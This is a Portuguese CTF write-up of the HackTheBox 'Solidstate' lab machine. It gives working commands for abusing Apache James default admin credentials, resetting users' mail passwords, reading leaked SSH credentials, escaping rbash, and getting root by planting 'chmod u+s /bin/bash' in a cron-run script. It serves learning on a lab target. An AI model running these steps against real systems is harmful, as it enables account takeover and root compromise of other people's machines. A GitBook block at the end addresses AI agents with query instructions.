> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Resolução da máquina Solidstate do HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando da ferramenta de administração remota James * Alterando a senha de e-mail de um usuário * Vazamento de Informações * Saindo do Restricted Bash (rbash) * Criando um script bash para detectar tarefas cron (procmon.sh) * Abusando de tarefa cron (elevação de privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Explorando portas abertas e exportando para o arquivo "allPorts" no diretório do Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (22.25,80,110,119,45555)

Varredura de versão de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Porta 80 #### Nenhuma informação interessante foi encontrada na porta 80.

## Administração remota do JAMES ### Porta 119 - NNTP > A porta 119 usa o Network News Transfer Protocol. O servidor executa uma instância do Apache James, um servidor de e-mail e notícias. Conectamo-nos com `netcat`, mas nenhuma informação relevante é encontrada. ```bash nc 10.10.10.51 119 ```

### Porta 4555 - Ferramenta de administração remota > No contexto da administração remota, ele pode ser usado para acessar painéis de controle ou interagir com serviços remotos na máquina-alvo. É importante escaneá-lo para ver se está aberto e qual serviço ele hospeda. Tentamos nos conectar ao painel de administração do James via Telnet: ```bash telnet 10.10.10.51 4555 ```

Após procurar pelas credenciais padrão, encontramos: * **ID** : root * **Senha** : root

Conseguimos nos conectar com sucesso e acessar o painel de administração do James. Temos a opção de listar usuários com o `listusers` comando, permitindo-nos descobrir 5 usuários: * `usuário: james` * `usuário: thomas` * `usuário: john` * `usuário: mindy` * `usuário: mailadmin`

Podemos alterar as senhas dos usuários com o `setpassword` comando para conectá-los ao cliente de e-mail na porta 110. Fazemos isso para todos os usuários: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Porta 110 - POP3 > A porta 110 é a porta padrão usada para **POP3** (Post Office Protocol version 3). Esse protocolo é usado por clientes de e-mail para recuperar e-mails de um servidor. Quando um usuário se conecta a um servidor POP3 por essa porta, ele pode baixar suas mensagens. Agora nos conectamos ao cliente POP3 via Telnet:

telnet 10.10.10.51 110

Para nos conectar, usamos os seguintes comandos: ```ada USER PASS ``` Listamos as mensagens com o `list` comando. Observamos que não há mensagens nas caixas de `james` e `thomas`.

No entanto, o usuário `john` tem uma mensagem que recuperamos com o `retr 1` comando. A mensagem contém o seguinte texto: > John, > > Você pode restringir o acesso da Mindy até que ela esteja autorizada a ingressar no programa? Além disso, certifique-se de enviar a ela uma senha temporária para que ela possa se conectar às suas contas. > > Agradeço antecipadamente. > > Atenciosamente,/ James

Isso sugere que o usuário `mindy` tem credenciais em sua caixa de e-mail. De fato, encontramos as seguintes informações: * **Nome de usuário** : mindy * **Senha** : P\@55W0rd1!2@

Usamos essas credenciais para nos conectar via SSH e obter a flag `user.txt`. ### Flag user.txt :)

## Elevação de privilégios : ### **Saindo do RBash para Bash** O `mindy` o usuário atualmente usa um `rbash` shell que limita a execução de muitos comandos.

Para contornar essa restrição, usamos o seguinte comando ao conectar via SSH para obter um shell Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Em seguida, usamos os seguintes comandos para processar o terminal e obter um shell completo: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Tarefas cron - Script modificado (Python): Criamos um script Bash para analisar os processos atuais e detectar tarefas cron realizadas na máquina-alvo: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Ao executar este script, notamos que o **root** usuário está executando um script Python localizado em `/opt/tmp.py` diretório.

Temos a possibilidade de modificar este script Python.

Nós o modificamos para adicionar o comando para definir um **setuid** no `/bin/bash` binário, permitindo-nos executar um shell Bash com os privilégios de **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Após editar o script, esperamos cerca de um minuto para a tarefa cron ser executada. Assim que a tarefa cron é executada, podemos obter um shell Bash com **root** privilégios executando o seguinte comando: ```bash /bin/bash -p ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.